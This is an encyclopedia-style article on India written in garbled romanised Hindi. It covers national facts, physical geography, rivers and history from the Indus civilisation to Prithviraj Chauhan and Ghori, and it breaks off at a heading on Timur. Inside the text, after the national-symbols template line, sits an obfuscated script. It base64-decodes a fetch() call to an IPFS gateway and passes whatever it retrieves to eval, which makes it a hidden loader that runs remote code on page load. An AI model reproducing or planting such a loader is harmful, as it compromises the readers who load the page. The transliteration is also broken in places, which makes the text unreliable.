भारत
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| rashtravaky: "satyamev jayate" (sanskrit) saty hi vijayi hota hai | |||||
| rashtragan: jan gan man | |||||
| rajadhani | nee dilli 28° 34′ N 77° 12′ E | ||||
| sabase b de nagar | dilli, mumbee, kolakata aur chennee | ||||
| rajabhasha(ean) | hindi sangh ki rajabhasha hai, aangrezi "sahayak rajabhasha" hai. | ||||
| any bhashaean | baangla, gujarati, kann d, malayalam, marathi aur any | ||||
| sarakar prakar -rashtrapati
-uparashtrapati -lokasabha adhyaksh -pradhanamantri -mukhy nyayadhish |
ganarajy pratibha patil hamid aansari mira kumar d aau manamohan sianh ke.ji.balkrishnan | ||||
| vidhayika -upari sadan
-nichala sadan |
bharatiy sansad rajy sabha lok sabha | ||||
| svatantrata tithi ganarajy |
sanyukt rajashahi se 15 agast, 1947 26 janavari, 1950 | ||||
| kshetraphal - kul - jaliy (%) |
32,87,590 kimi² (satavaan) 12,22,559 mil² 9.56 | ||||
| janasankhya - 2005 - 2001 janaganana - janasankhya ghanatv |
1,10,33,71,000 (dvitiy) 1,02,70,15,248 329/kimi² (31vaan) 852/ mil² | ||||
| sakal ghareloo utpad (pipipi) - kul - prativyakti |
2005 anuman $3.633 mahasankh chautha $3,320 122 vaan | ||||
| sakal ghareloo utpad (saanketik) - kul - prativyakti |
2008 anuman $1.209 mahashankh $1,016 | ||||
| manav vikas sanketaank (echadiaee) | 0.611 (126 vian) – madhyam | ||||
| mudra | bharatiy rupaya 14px (aienar (INR))
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| samay mandal - grishm rritu (delait seviang taim) |
aiesati (IST) (UTC+5:30) anusaran nahian kiya jata (UTC+5:30) | ||||
| iantaranet tieladi | .in | ||||
| vahan chalate haian | baean | ||||
| doorabhash kod | +91
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any mahatvapoorn janakari
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100pxduniyaan ki sabase purani sabhhyataoan mean se ek haian, jo 4,000 se adhik varshoan se chali a rahi hai aur jisane anek riti-rivazoan aur paramhparaoan ka sangam dekha hai. yah desh ki samriddh sanshkriti aur virasat ka parichayak hai. azadi ke bad 62 varshoan mean bharat ne samajik aur arthik pragati ki hai. bharat krishi mean athmanirbhar desh hai aur audyogikaran mean bhi vishv ke chune hue deshoan mean bhi isaki ginati ki jati hai. yah un deshoan mean se ek hai, jo chaand par pahuanch chuke haian aur paramanu shakti sanpann haian. bharat ka kul kshetraphal 32,87,263 varg ki.mi. hai, jo himachhchhadit himalay ki bulandiyoan se dakshin ke vishuvatiy varsha vanoan tak vistrit hai. kshetraphal mean vishhv ka satavaan b da desh hone ke karan bharat eshiya mahadvip mean alag dikhayi deta hai. isaki sarahadean himalay parvat aur samudroan ne baandhi hai, jo ise ek vishishht bhaugolik pahachan dete haian. uttar mean brihath himalay ki parvat shrriankhala se ghira yah desh kark rekha se age sankara hota chala jata hai. poorv mean bangal ki kha di, pashchim mean arab sagar tatha dakshin mean hinhd mahasagar isaki simaoan ka nirdharan karate haian.
uthtari golardh mean sthit bharat ki mukhhyabhoomi 8 digri 4 minat aur 37 digri 6 minat uthtari akshaansh aur 68 digri 7 minat tatha 97 digri 25 minat poorvi deshanhtar ke bich sthit hai . uthtar se dakshin tak isaki adhikatam lanbaee 3,214 ki.mi. aur poorv se pashchim tak adhikatam chau daee 2,933 ki.mi. hai. isaki zamini simaoan ki lanbaee lagabhag 15,200 ki.mi. aur tatarekha ki kul lamhbaee 7,516.6 ki.mi hai. yah uthtar mean himalay parvat, poorv mean bangal ki kha di, pashchim mean arab sagar tatha dakshin mean hiand mahasagar se ghira hua hai.
bharat eshiya mahadvip ke dakshini bhag mean sthit tin prayadvipoan mean madhyavarti aur sabase b da prayadvip . yah tribhujakar hai. himalay parvat shrriankhala ko is tribhuj ka adhar aur kanyakumari ko usaka shirshabindu kaha ja sakata hai. isake uttar mean himalay tatha dakshin mean hind mahasagar sthit hai. ooanche-ooanche parvatoan ne ise uttar-pashchim mean afaganistan aur pakistan tatha uttar-poorv mean myaanmar se alag kar diya hai. yah svatantr bhaugolik ikaee hai. prakritik drishti se ise tin kshetroan mean vibhakt kiya ja sakata hai—himalay kshetr, uttar ka maidan jisase hokar siandhu, ganga aur brahmaputr nadiyaan bahati haian, dakshin ka pathar, jise viandhy parvatamala uttar ke maidan se alag karati hai. bharat ki vishal janasankhya sat sau pachas se adhik [1] boliyaan bolati hai aur sansar ke sabhi mukhy dharmoan ko manane vale yahaan milate haian. aangrezi mean bharat ka nam 'iandiya' siandhu ke farasi roopaantaran ke adhar par yoonaniyoan ke dvara prachalit 'handas' nam se p da. sindhu ka farasi mean hind, hand ya hindoo hua. hind ka yoonaniyoan ne indas kiya jo bad mean 'iandiya' ho gaya. sindhu nadi ko aangezi mean aj bhi 'indas' hi kahate haian. mool roop se is desh ka nam pragaitihasik kal ke raja bharat[2] ke adhar par bharatavarsh hai kintu adhikarik nam 'bharat' hi hai. ab isaka kshetraphal sankuchit ho gaya hai aur is prayadvip ke do chhote-chhote kshetroan pakistan tatha baangladesh ko isase prithak karake shesh bhoo-bhag ko bharat kahate haian. 'hindusthan' nam sahi taur se keval ganga ke uttari maidan ke lie prayukt kiya ja sakata hai jahaan hindi boli jati hai. ise bharat athava iandiya ka paryay nahian mana ja sakata.
- REDIRECT saancha:baanyabaksahar dasha mean doosare sampradayoan ka adar karana hi chahie. aisa karane se manushy apane sampraday ki unnati aur doosare sampradayoan ka upakar karata hai. isake viparit jo karata hai vah apane sampraday ki (j d) katata hai aur doosare sampradayoan ka bhi apakar karata hai. kyoanki jo apane sampraday ki bhakti mean akar is vichar se ki mere sampraday ka gaurav badhe, apane sampraday ki prashansa karata hai aur doosare sampraday ki ninda karata hai, vah aisa karake vastav mean apane sampraday ko hi gahari hani pahuanchata hai. isalie samavay (paraspar melajol se rahana) hi achchha hai arthath log ek-doosare ke dharm ko dhyan dekar sunean aur usaki seva karean. - samrat ashok mahan[3]
- REDIRECT saancha:baksaband
bharat ki adharabhoot ekata usaki vishisht sanskriti tatha sabhyata par adharit hai. yah is bat se prakat hai ki hindoo dharm sare desh mean phaila hua hai. sanskrit ko sab devabhasha svikar karate haian. jin sat nadiyoan ko pavitr mana jata hai unamean siandhu panjab mean bahati hai aur kaveri dakshin mean, isi prakar jin sat puriyoan ko pavitr mana jata hai unamean haridvar uttar pradesh mean sthit hai aur kaanchi sudoor dakshin mean. bharat ke sabhi rajaoan ki akaanksha rahi hai ki unake rajy ka vistar asetu himalay ho. parantu itane b de desh ko jo vastav mean ek upamahadvip hai aur kshetraphal mean pashchimi roos ko chho dakar sare yoorop ke barabar hai, ek rajanitik ikaee banaye rakhana atyant kathin tha. vastav mean unnisavian shatabdi ke madhy mean british shasakoan ki sthapana se poorv sara desh bahut tho de kal ko chho dakar, kabhi ek samrajy ke aantargat nahian raha. british kal mean sare desh mean ek saman shasan vyavastha karake tatha aangrejoan ko sare desh mean prashasan aur shiksha ki saman bhasha banakar poore desh ko ek rajanitik ikaee bana diya gaya. parantu yah ekata ek shatabdi ke andar hi bhang ho gayi. 1947 ee॰ mean jab bharat svadhin hua, use vibhajit karake siandhu, uttar pashchimi simaprant, pashchimi panjab (yah bhag ab pakistan kahalata hai), poorvi tatha uttari bangal (yah bhag ab baangaladesh kahalata hai) usase alag kar diya gaya.
bhautik visheshataean
mukhhy bhoobhag mean char kshetr haian, namat: mahaparvat kshetr, ganga aur siandhu nadi ke maidani kshetr aur marooshthali kshetr aur dakshini prayadvip.
himalay ki tin shrriankhalaean haian, jo lagabhag samanaantar phaili huee haian. isake bich b de - b de pathar aur ghatiyaan haian, inamean kashhmir aur kulhloo jaisi kuchh ghatiyaan upajaoo, vishtrit aur prakritik sauandary se bharapoor haian. sansar ki sabase ooanchi chotiyoan mean se kuchh inhhian parvat shrriankhalaoan mean haian. adhik ooanchaee ke karan ana -jana keval kuchh hi darroan se ho pata hai, jinamean mukhhy haian -
- chuanbi ghati se hote hue mukhhy bharat-tibhbat vhyapar marg par jelap la aur nathoo-la darre
- uttar-poorv darjiliang
- kalhpana (kinhnaur) ke uttar - poorv mean sataluj ghati mean shipaki la darra
parvatiy divar lagabhag 2,400 ki.mi. ki doori tak phaili hai, jo 240 ki.mi. se 320 ki.mi. tak chau di hai. poorv mean bharat tatha mhyaanmar aur bharat evan bangaladesh ke bich mean paha di shrriankhalaoan ki ooanchaee bahut kam hai. lagabhag poorv se pashchim tak phaili huee garo, khasi, jaiantiya aur naga pahadiyaan uttar se dakshin tak phaili mizo tatha rakhain pahadiyoan ki shrriankhala se ja milati haian.
marushthali kshetr ko do bhagoan mean baanta ja sakata hai b da marushthal kachhchh ke ran ki sima se luni nadi ke uthtari or age tak phaila hua hai. rajasthan siandh ki poori sima isase hokar gujarati hai. chhota marushthal luni se jaisalamer aur jodhapur ke bich uthtari bhoobhag tak phaila hua b de aur chhote marushthal ke bich ka kshetr bilhkul hi banjar hai jisamean choone ke paththar ki parvat mala dvara prithak kiya hua patharila bhoobhag hai.
parvat samooh aur paha di shrriankhalaean jinaki ooanchaee 460 se 1,220 mitar hai, prayadvipiy pathar ko ganga aur siandhu ke maidani kshetroan se alag karati haian. inamean pramukh haian aravali, viandhhy, satapu da, maikala aur ajanhta. is prayadvip ki ek or poorv ghat doosari or pashchimi ghat hai jinaki ooanchaee samanhyat: 915 se 1,220 mitar hai, kuchh shthanoan mean 2,440 mitar se adhik ooanchaee hai. pashchimi ghatoan aur arab sagar ke bich ek sankirn tatavarti patti hai jabaki poorv ghat aur bangal ki kha di ke bich ka vishtrit tatavarti kshetr hai. pathar ka dakshini bhag nilagiri paha diyoan dvara nirmit hai jahaan poorvi aur pashchimi ghat milate haian. isake age ilayachi ki pahadiyaan pashchimi ghat ke vishtaran ke rup mean mani ja sakati haian.
bhoogarbhiy sanrachana
bhoovaijnanik kshetr vhyapak rup se bhautik visheshataoan ka palan karate haian aur inhhean tin kshetroan ke samooh mean rakha ja sakata hai:
- himachal parvat shrriankhala aur unake sanbaddh parvat samooh
- bharat-ganga maidan kshetr
- prayadvipiy ot
uthtar mean himachalay parvat kshetr aur poorv mean nagalushaee parvat, parvat nirman gatividhi ke kshetr hai. is kshetr ka adhikaansh bhag jo vartaman samay mean vishhv ka sarvadhik suandar parvat drishhy prashtut karata hai, 60 karo d varsh pahale samudri kshetr mean tha. 7 karo d varsh pahale shuru hue parvat-nirman gatividhiyoan ki shrriankhala mean talachhatean aur adhar chattanean kafi ooanchaee tak pahuanch gee. aj ham jo in par ubhar dekhate haian, unako uthpanhn karane mean apakshay aur aparadak ne kary kiya. bharat-ganga ke maidani kshetr ek jalodh bhoobhag haian jo dakshin ke prayadvip se uthtar mean himachal ko alag karate haian.
prayadvip sapeksh sthirata aur kabhi-kabhar bhookanpiy pareshaniyoan ka kshetr hai. 380 karo d varsh pahale ke praranbhik kal ki athyadhik kayaantarit chattanean is kshetr mean payi jati haian, baqi kshetr goandavana ke tatavarti kshetr se ghira hai, dakshin mean sidhidar rachana aur chhoti talachhatean lava ke pravah se nirmit haian.
nadiyaan
bharat ki nadiyoan ko char samoohoan mean vargikrit kiya ja sakata hai jaise :-
- himachal se nikalane vali nadiyaan
- dakshin se nikalane vali nadiyaan
- tatavarti nadiyaan
- aantardeshiy naloan se droni kshetr ki nadiyaan
himalay se nikalane vali nadiyaan
himalay se nikalane vali nadiyaan barf aur ghleshiyaroan ke pighalane se bani haian at: inamean poore varsh ke dauran niranhtar pravah bana rahata hai. m aaunasoon mah ke dauran himalay kshetr mean bahut adhik vrishti hoti hai aur nadiyaan barish par nirbhar haian at: isake ayatan mean utar chadhav hota hai. inamean se kee ashthayi hoti haian. tatavarti nadiyaan, visheshakar pashchimi tat par, lanbaee mean chhoti hoti haian aur unaka simit jalagrahan kshetr hota hai. inamean se adhikaansh ashthayi hoti haian. pashchimi rajashthan ke aantardeshiy nala droni kshetr ki kuchhh nadiyaan haian. inamean se adhikaansh ashthayi prakriti ki haian.
[[chitr:Sindhu-River-1.jpg|sindhu nadi
Sindhu river|thumb|left]]
himachal se nikalane vali nadi ki mukhhy pranali siandhu aur ganga brahamaputr meghana nadi ki pranali ki tarah hai.
siandhu nadi
vishhv ki mahan, nadiyoan mean ek hai, tibhbat mean manasarovar ke nikat se nikalati hai aur bharat se hokar bahati hai aur tathpashhchath pakishtan se ho kar aur aantat: karachi ke nikat arab sagar mean mil jati hai. bharatiy kshetr mean bahane vali isaki sahayak nadiyoan mean sataluj (tibhbat se nikalati hai), vhyas, ravi, chenab, aur jhelam hai.
[[chitr:Ganga-Varanasi.jpg|thumb|varanasi mean ganga nadi ke ghat
Ghats of Ganga River in Varanasi]]
ganga
brahmaputr meghana ek anhy mahathvapoorn pranali hai jisaka up droni kshetr bhagirathi aur alakananda mean haian, jo devaprayag mean milakar ganga ban jati hai. yah uthtaraanchal, uthtar pradesh, bihar aur p.bangal se hokar bahati hai. rajamahal ki pahadiyoan ke niche bhagirathi nadi,jo purane samay mean mukhhy nadi hua karati thi, nikalati hai jabaki padbha poorab ki or bahati hai aur baanghladesh mean pravesh karati hai.
sahayak nadiyaan
[[chitr:Yamuna-Mathura-2.jpg|yamuna nadi
River Yamuna|thumb|left]]
yamuna, ramaganga, ghaghara, gandak, kosi, mahanadi, aur son; ganga ki mahathvapoorn sahayak nadiyaan hai. chanbal aur betava mahathvapoorn up sahayak nadiyaan haian jo ganga se milane se pahale yamuna mean mil jati haian. padma aur brahmaputr baangladesh mean milati hai aur padma athava ganga ke rup mean bahati rahati hai.
brahmaputr
brahmaputr tibhbat se nikalati hai, jahaan ise saangano kaha jata hai aur bharat mean arunachal pradesh tak pravesh karane tatha yah kafi lanbi doori tay karati hai, yahaan ise dihaang kaha jata hai. pasi ghat ke nikat debaang aur lohit brahmaputr nadi se mil jati hai aur yah sanyukht nadi poore asam se hokar ek sankirn ghati mean bahati hai. yah ghubari ke anupravah mean baanghladesh mean pravesh karati hai.
sahayak nadiyaan
bharat mean brahmaputr ki pramukh sahayak nadiyaan subasiri, jiya bhareli, ghanasiri, puthibhari, pagaladiya aur manas haian. baanghladesh mean brahmaputr tisht adi ke pravah mean mil jati hai aur aantat: ganga mean mil jati hai. meghana ki mukhhy nadi barak nadi manipur ki pahadiyoan mean se nikalati hai. isaki mahathvapoorn sahayak nadiyaan makhkoo, traang, tueevee, jiri, sonee, rukhvi, kacharaval, ghalarevari, laangachini, mahuva aur jatianga haian. barak nadi baanghladesh mean bhairav bajar ke nikat ganga-brahmaputr ke milane tak bahati rahati hai.
dakhkan kshetr mean adhikaansh nadi pranaliyaan samanhyat poorv disha mean bahati haian aur bangal ki kha di mean mil jati haian.
godavari, krishhna, kaveri, mahanadi, adi poorv ki or bahane vali pramukh nadiyaan haian aur narmada, taphti pashchim ki bahane vali pramukh nadiyaan hai. dakshini prayadvip mean godavari ka doosari sabase b di nadi ka droni kshetr hai jo bharat ke kshetr 10 pratishat bhag hai. isake bad krishhna nadi ke droni kshetr ka shthan hai jabaki mahanadi ka tisara shthan hai. dekhkan ke oopari bhoobhag mean narmada ka droni kshetr hai, yah arab sagar ki or bahati hai, bangal ki kha di mean girati haian dakshin mean kaveri ke saman akar ki hai aur paranhtu isaki visheshataean aur banavat alag hai.
kee prakar ki tatavarti nadiyaan haian jo apekshakrit chhoti haian. aisi nadiyoan mean kafi kam nadiyaan-poorvi tat ke delhta ke nikat samudr mean milati hai, jabaki pashchim tat par aisi 600 nadiyaan hai.
rajashthan mean aisi kuchh nadiyaan hai jo samudr mean nahian milati haian. ye khare jhiloan mean mil jati hai aur ret mean samapht ho jati haian jisaki samudr mean koee nikasi nahian hoti hai. isake atirikht kuchh marushthal ki nadiyaan hoti hai jo kuchh doori tak bahati haian aur marushthal mean lupht ho jati hai. aisi nadiyoan mean luni aur machhchh, shpen, sarashvati, banas aur ghaghgar jaisi anhy nadiyaan haian.
bharat ki pramukh nadiyaan
| kram | nadi | lambaee (ki.mi.) | udgam sthan | sahayak nadiyaan | pravah kshetr (sambandhit rajy) |
|---|
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rajyoan ka gathan ek jhalak
| kram | rajy ka nam | poorn rajy ke roop mean | rajy ke nam ka arth, udbhav, parichay |
|---|
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krishi
| fasal/fasal samooh | rajy | utpadan (miliyan tan) | desh ke kul utpadan ka pratishat |
|---|
khanij sanpada
| khanij | anumanit bhandar | prapti ke kshetr | vishesh bindu |
|---|
rashtriy chinh aur pratik
- REDIRECT saancha:rashtriy chihn aur pratik<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
itihas (adikal se svatantrata tak)
bharat ka itihas pragaitihasik kal se arambh hota hai. 3000 ee॰ poorv tatha 1500 ee॰ poorv ke bich siandhu ghati mean ek unnat sabhyata vartaman thi, jisake avashesh mohan jod do (muan-jo-da do) aur h dappa mean mile haian. vishvas kiya jata hai ki bharat mean aryoan ka pravesh bad mean hua. aryoan ne paya ki is desh mean unase poorv ke jo log nivas kar rahe the, unaki sabhyata yadi unase shreshth nahian to kisi riti se nikrisht bhi nahian thi. aryoan se poorv ke logoan mean sabase b da varg dravi doan ka tha. aryoan dvara ve kramik riti se uttar se dakshin ki or khade d diye ge. jahaan dirgh kal tak unaka pradhany raha. bad mean unhoanne aryoan ka prabhutv svikar kar liya. unase vivah sambandh sthapit kar liye aur ab ve mahanh bharatiy rashtr ke aang haian. dravi doan ke alava desh mean aur mool jatiyaan thi, jinamean se kuchh ka pratinidhitv munda, kol, bhil adi janajatiyaan karati haian jo mon-khmer varg ki bhashaean bolati haian. bharatiy aryoan ka prachinatam sahity hamean vedoan mean vishesh roop se rrigved mean milata hai, jisaka rachanakal kuchh vidvanh tin hazar ee॰ poo॰ manate haian. vedoan mean hamean us kal ki sabhyata ki ek jhaanki milati hai. aryoan ne is desh ko koee rajanitik ekata pradan nahian ki. yadyapi unhoanne use ek pusht darshan aur dharm pradan kiya, jo hindoo dharm ke nam se prakhyat hai aur kam se kam char hazar varsh se akshunn hai.
| aryoan ke adi sthal | h dappakalin nadiyoan ke kinare base nagar | vibhinn vidvanoan dvara siandhu sabhyata ka kal nirdharan | |||
|---|---|---|---|---|---|
| adi (mool) sthan | mat | nagar | nadi / sagar tat | kal | vidvan |
mahajanapad yug
prachin bharatiyoan ne koee tithi kramanusar itihas nahian surakshit rakha hai. sabase prachin sunishchit tithi jo hamean jnat hai, 326 ee॰ poo॰ hai, jab maqadooniya ke raja sikandar ne bharat par akraman kiya. is tithi se pahale ki ghatanaoan ka taratamy jo d kar tatha sahity mean surakshit aitihasik anushrutiyoan ka upayog karake bharat ka itihas satavian shatabdi ee॰ poo॰ tak pahuanch jata hai. is kal mean bharat qabul ki ghati se lekar godavari tak shodash janapadoan mean vibhajit tha, jinake nam nimnokt theah-
| nam | vivaran | kshetr |
|---|
in rajyoan me apas mean barabar l daee hoti rahati thi. chhathian shatabdi ee॰ poo॰ ke madhy mean bimbisar tatha ajatashatru ke rajy kal mean magadh ne kashi tatha koshal par adhikar karane ke bad apani simaoan ka vistar arambh kiya. inhian donoan magadh rajaoan ke rajyakal mean vardhaman mahavir ne jain dharm tatha gautam buddh ne bauddh dharm ka upadesh diya. bad me kal mean magadh rajy ka vistar jari raha aur chauthi shatabdi ee॰ poo॰ ke aant mean nand rajaoan ke shasanakal mean usaka vistar bangal se lekar panjab mean vyas nadi ke tat tak sare uttari bharat mean ho gaya.
- REDIRECT saancha:daanyabaksabharatavarsh koee naya desh nahian hai. b de–b de samrajy usaki dhool mean dabe hue haian, b di–b di dharmik ghoshanaean usake vayumandal mean ninadit ho chuki haian. b di–b di sabhyataean usake pratyek kone mean utpann aur vilin ho chuki haian. unake smriti chihn ab bhi is prakar nirjiv hokar kh de haian manoan attahas karati huee vijayalakshmi ko bijali mar gee ho. anadikal mean usamean anek jatiyoan, kabiloan, nasloan aur ghumakk d khanabadoshoan ke jhund is desh mean ate rahe haian. kuchh der ke lie inhoanne desh ke vatavaran ko vikshubdh bhi banaya hai, par ant tak ve dakhal karake baith jate rahe haian aur purane devataoan ke saman hi shraddhabhajan ban jate rahe haian—kabhi–kabhi adhik samman bhi pa sake haian. bharatiy sanskriti ki kuchh aisi visheshata rahi hai ki un kabiloan, nasloan aur jatiyoan ki bhitari samaj–vyavastha aur dharm–mat mean kisi prakar ka hastakshep nahian kiya gaya hai aur phir bhi unako sampoorn bharatiy man liya gaya hai. bhagavat mean aisi jatiyoan ki ek soochi dekar bataya gaya hai ki ek bar bhagavan ka ashray pate hi ye shuddh ho gee haian. inamean kirat haian, hoon haian, aandhr haian, puliand haian, pukkas haian, abhir haian, shuang haian, yavan haian, khas haian, shak haian aur bhi nishchay hi aisi bahut si jatiyaan haian, jinaka nam bhagavatakar[9] nahian gina ge.- hazariprasad dvivedi [10]
- REDIRECT saancha:baksaband
maury aur shuang
thumb|200px|left|chanaky yoonani itihasakaroan ke dvara varnit 'presiaee' desh ka raja itana shaktishali tha ki sikandar ki senaean vyas par karake presiaee desh mean nahian ghus sakian aur sikandar, jisane 326 ee॰ mean panjab par hamala kiya, pichhe lautane ke lie vivash ho gaya. vah siandhu ke marg se pichhe laut gaya. is ghatana ke bad hi magadh par chandragupt maury (lagabhag 322 ee॰ poo॰-298 ee॰ poo॰) ne panjab mean sikandar jin yoonani adhikariyoan ko chho d gaya tha, unhean nikal bahar kiya aur bad mean ek yuddh mean sikandar ke senapati selyukas ko hara diya. selyukas ne hindookush tak ka sara pradesh vapas lauta kar chandragupt maury se sandhi kar li. chandragupt ne sare uttari bharat par apana prabhutv sthapit kiya. usane sambhvatah dakshin bhi vijay kar liya. vah apane is vishal samrajy par apani rajadhani pataliputr se shasan karata tha. usaki rajadhani pataliputr vaibhav aur samriddhi mean soosa aur ekabatana nagariyoan ko bhi mat karati thi. usaka pautr ashok tha, jisane kaliang (u disa) ko jita. usaka samrajy himalay ke padamool se lekar dakshin mean pannar nadi tak tatha uttar pashchim mean hindookush se lekar uttar-poorv mean asam ki sima tak vistrit tha. usane apane vishal samrajy ke samay sadhanoan ko manushyoan tatha pashuoan ke kalyan karyoan tatha bauddh dharm ke prasar mean lagakar amit yash prapt kiya. usane bauddh dharm ke prachar ke lie bhikshuoan ko misr, maqadooniya tatha korinth (prachin yoonan ki vilas nagari) jaise door-daraj sthanoan mean bheja aur vahaan lokopakari kary karavaye. usake prayatnoan se bauddh dharm vishvadharm ban gaya. parantu usaki yuddh se virat rahane ki shantipoorn niti ne usake vansh ki shakti kshin kar di aur lagabhag adhi shatabdi ke bad pushyamitr ne usaka uchchhed kar diya. pushyamitr ne shugavansh (lagabhag 185 ee॰ poo॰- 73 ee॰ poo॰) ki sthapani ki, jisaka uchchhed karav vansh (lagabhag 73 ee॰ poo॰-28 ee॰ poo॰) ne kar diya.
- REDIRECT saancha:baanyabaksadevataoan ke priy priyadarshi raja aisa kahate haian... maianne yah (prabandh) kiya ki har samay chahe maian khata hoooan ya antahpur mean rahooan ya garbhagar (shayanagrih) mean hoooan ya tahalata hoooan ya savari par hoooan ya kooch kar raha hoooan, sabhi jagah kisi bhi samay par, prativedak (guptachar) praja ka hal mujhe sunavean. maian praja ka kam sabhi jagah par karata hooan.… kyoanki maian kitana hi parishram karooan aur kitana hi rajakary karuan mujhe santosh nahian hota. sab logoan ka hit karana hi maian apana pradhan kartavy samajhata hooan. par sabhi logoan ka hit, parishram aur rajakary sampadan ke bina nahian ho sakata. sabhi logoan ka hit karane se badhakar aur koee kary nahian hai. jo kuchh bhi parakram karata hooan vah isilie ki praniyoan ke prati jo mera rrin hai usase urrin ho jaooan… adhik parishram ke bina yah kary kathin hai.- samrat ashok mahan[11]
- REDIRECT saancha:baksaband
shak, kushan aur satavahan
mauryavansh ke patan ke bad magadh ki shakti ghatane lagi aur satavahan rajaoan ke netritv mean magadh samrajy dakshin se alag ho gaya. satavahan vansh ko andhr vansh bhi kahate haian aur usane 50 ee॰ poo॰ se 225 ee॰ tak rajy kiya. bharat mean ek shaktishali kendriy sarakar ke abhav mean baiktriya aur parthiya ke rajaoan ne uttari bharat par akraman shuroo kar diye. in akramanakari rajaoan mean minandar sabase vikhyat hai. isake bad hi shak rajaoan ke akraman shuroo ho gaye aur maharashtr, saurashtr tatha mathura shak kshatrapoan ke shasan mean a gaye. is tarah bharat ki jo rajanitik ekata bhang ho gayi thi, vah eesavian pahali shatabdi mean kujul kadafaisis dvara kushan vansh ki shurooat se phir sthapit ho gayi. is vansh ne tisari shatabdi eesavian ke madhy tak uttari bharat par rajy kiya.
is vansh ka sabase prasiddh raja kanishk (lagabhag 120-144 ee॰) tha, jisaki rajadhani purushapur athava peshavar thi. usane bauddh dharm grahan kar liya aur ashvaghosh, nagarjun tatha charak jaise bharatiy vidvanoan ko sanrakshan diya. kushanavansh ka ajnat karanoan se tisari shatabdi ke madhy tak patan ho gaya. isake bad bharatiy itihas ka aandhakar yug arambh hota hai. jo chauthi shatabdi ke arambh mean guptavansh ke uday se samapt hua.
gupt
lagabhag 320 ee॰ poo॰ mean chandragupt ne guptavansh ka prachalit kiya aur pataliputr ko phir se apani rajadhani banaya. gupt vansh mean ek ke bad ek char mahan shaktishali raja hue, jinhoanne sare uttari bharat mean apana samrajy vistrit kar liya aur dakshin ke kee rajyoan par bhi apana prabhutv sthapit kiya. unhoanne hindoo dharm ko rajy dharm banaya, bauddh dharm aur jain dharm ke prati sahishnuta barati aur jnan-vijnan, sahity, kala, vastukala aur chitrakala ki unnati ki. isi yug mean kalidas, aryabhatt tatha varahamihir hue. ramayan, mahabharat, puranoan tatha manusanhita ko bhi isi yug mean vartaman roop prapt hua. chini yatri phahyan ne 401 se 410 ee॰ ke bich bharat ki yatra ki aur usane us kal ka rochak varnan kiya hai. usaka mat hai ki us kal mean desh mean poora ramarajy tha. svabhavik roop se gupt yug ko bharatiy itihas ka svarnayug mana jata hai aur usaki tulana ethens ke pariklij yug se ki jati hai. (periklij (lagabhag 492-529 ee॰ poo॰) ethens ka mahan rajaneta tatha senapati tha. usake prashasakal (460-429 ee॰ poo॰) mean ethens unnati ke shikhar par pahuanch gaya.) aantarik vighatan tatha hoonoan ke akramanoan ke phalasvaroop chhathi shatabdi mean gupt vansh ka patan ho gaya. parantu satavian shatabdi ke prarambh mean harshavardhan ne ek doosara samrajy kh da kar diya, jisaki rajadhani kannauj thi. yah samrajy sare uttari bharat mean vistrit tha. dakshin mean chaluky raja pulakeshi dvitiy ne usaka samrajy narmada tat se ag badhane se rok diya tha. chini yatri hvayuenatsaang usake rajyakal mean bharat aya tha aur usane apane yatra varnan mean likha hai ki harshavardhan b da pratapi aur shaktishali raja hai. vah 646 ee॰ mean nissantan mar gaya aur usake bad sare uttari bharat mean phir se avyavastha phail gayi.
rajapoot adi rajavansh
is avyavastha ke phalasvaroop rajavanshoan ka uday hua, jo apane ko rajapoot kahate the. inamean panjab ka hindooshahi rajavansh, gujarat ka gurjar-pratihar rajavansh, ajamer ka chauhan vansh, kannauj ka gahadaval vansh tatha magadh aur bangal ka pal vansh tha. dakshin mean bhi satavahan vansh ke patan ke bad isi prakar satta ka vighatan ho gaya. u disa ke gang vansh jisane puri ka prasiddh jagannath mandir banavaya, vatapi ke chaluky vansh, jisake rajyakal mean ajanta ke kuchh gufa chitr bane tatha kaanchi ke pallav vansh ne, jisaki smriti us kal mean banavaye gaye kuchh prasiddh mandiroan mean surakshit hai, dakshin ko apas mean baant liya aur paraspar yuddhoan mean ek doosare ka nash kar diya. isake bad manyakhet athava malakh d ke rashtrakoot vansh ka uday hua, jisaka uchchhed pur ne chaluky vansh ki ek navin shakha ne kar diya. jisane kalyani ko apani rajadhani banaya. usaka uchchhed devagiri ke yadavoan tatha dvarasamudr ke hoyasal vansh ne kar diya. sudoor dakshin mean cher, paandy aur chol rajyoan ka uday hua, jinamean se aantim rajy sabase adhik chala. is tarah sare bharat mean anaiky vyapt ho gaya.
islam ka pravesh
is bich 712 ee॰ mean bharat mean islam ka pravesh ho chuka tha. muhammad-ibn-qasim ke netritv mean musalaman araboan ne siandh par hamala kar diya aur vahaan ke brahman raja dahir ko hara diya. is tarah bharat ki bhoomi par pahali bar islam ke pair jam gaye aur bad ki shatabdiyoan ke hindoo raja use phir hata nahian sake. parantu siandh par araboan ka shasan vastav mean nirbal tha aur 1176 ee॰ mean shahabuddin muhammad gori ne use asani se ukha d diya. isase poorv subuktagin ke netritv mean susalamanoan ne hamale karake panjab chhin liya tha aur gazani ke sultan mahamood ne 997 se 1030 ee॰ ke bich bharat par satrah hamale kiye aur hindoo rajaoan ki shakti kuchal dali. phir bhi hindoo rajaoan ne musalamani akraman ka jis anavarat riti se prabal virodh kiya, usaka mahatv kam karake nahian aankana chahie.
prithviraj chauhan aur gori
faras tatha pashchim eshiya ke doosare rajyoan ki tarah musalamanoan ko bharat mean shighrata se saphalata nahian mili. yadyapi siandh par arab musalamanoan ka shighrata se qabza ho gaya, parantu vahaan se ve lagabhag char shatabdiyoan tak age nahian badh paye. uttar-pashchim ke musalaman akramanakariyoan ko bhi bharat ne lagabhag tin shatabdiyoan tak roke rakha. shahabuddin muhammad gori ka dilli jitane ka pahala prayas viphal hua aur prithviraj ne 1190 ee॰ mean taraeen ki pahali l daee mean use hara diya. vah 1193 ee॰ mean taraeen ki doosari l daee mean hi prithviraj ko harane mean saphal hua. is vijay ke bad shahabuddin aur usake senapatiyoan ne uttari bharat ke doosare hindoo rajaoan ko bhi hara diya aur vahaan musalamani shasan sthapit kar diya. is tarah terahavian shatabdi ke prarambh mean dilli ke sultanoan ki adhinata mean uttari bharat ki rajanitik ekata phir se sthapit ho gee.
taimoor
